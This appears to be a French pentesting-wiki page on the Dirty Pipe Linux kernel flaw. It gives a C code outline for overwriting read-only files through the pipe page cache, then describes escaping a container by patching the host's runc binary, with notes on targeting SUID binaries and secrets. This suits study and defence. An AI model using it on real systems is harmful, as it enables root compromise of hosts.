Dirty Pipe est un bug du noyau dans le sous-système des pipes où le flag PIPE_BUF_FLAG_CAN_MERGE d'un buffer de pipe n'est pas réinitialisé lorsque le buffer est réutilisé. En remplissant puis vidant d'abord un pipe pour laisser le flag positionné, puis en effectuant un splice d'une page d'un fichier cible en lecture seule dans le pipe, une écriture ultérieure (write) dans le pipe est fusionnée dans la page splicée et écrase le page cache du fichier. L'écriture réussit même si le fichier a été ouvert en lecture seule et même si l'attaquant n'a aucune permission d'écriture, car elle passe par le page cache plutôt que par le chemin d'écriture normal. Elle ne peut pas changer la taille du fichier ni toucher le premier octet d'une page, mais dans ces limites c'est un écrasement arbitraire de tout fichier lisible.
Vérifiez que le noyau se trouve dans la plage vulnérable :
uname -r # affected 5.8 up to the fixed 5.16.11/5.15.25/5.10.102 line
Technique#
// 1. Mark the pipe buffer mergeable: fill the pipe, then read it all back
for(size left = pipe_size; left; ) left -= write(p[1], buf, min(left,sizeof buf));
for(size left = pipe_size; left; ) left -= read(p[0], buf, min(left,sizeof buf));
// 2. Splice one byte of the read-only target at the page boundary into the pipe
int f = open(target, O_RDONLY);
loff_t off = page_offset - 1; splice(f, &off, p[1], NULL, 1, 0);
// 3. Write the payload: it merges into the cached page, overwriting the file
write(p[1], payload, payload_len);
Le splice d'un seul octet amorce la référence de page ; le write suivant atterrit à page_offset dans le page cache du fichier.
Cible d'évasion : écraser runc#
L'évasion de conteneur canonique écrase le binaire runc de l'hôte. Un processus conteneurisé ouvre le runc sur disque (accessible via l'overlay ou un chemin partagé en lecture seule), utilise Dirty Pipe pour patcher son code ou y intégrer une charge de type #!, et la prochaine fois que le runtime invoque runc sur l'hôte (tout create, start ou exec de conteneur), le code de l'attaquant s'exécute en tant que root sur l'hôte. Comme runc s'exécute en tant que root pour chaque opération de conteneur, il s'agit d'une évasion propre et fiable.
Notes d'exploitation#
- L'écrasement ne peut pas modifier la longueur du fichier ni le premier octet de la page cible ; les exploits choisissent un offset et une charge qui s'y insèrent, c'est pourquoi écraser le code d'un binaire existant ou une ligne de configuration est préférable à un ajout.
- Les cibles doivent se trouver dans le page cache et être lisibles ; le binaire
runcde l'hôte, un exécutable SUID partagé ou un secret monté en lecture seule remplissent tous ces critères. - Les noyaux corrigés réinitialisent le flag ; vérifiez d'abord que
uname -rest dans la plage vulnérable.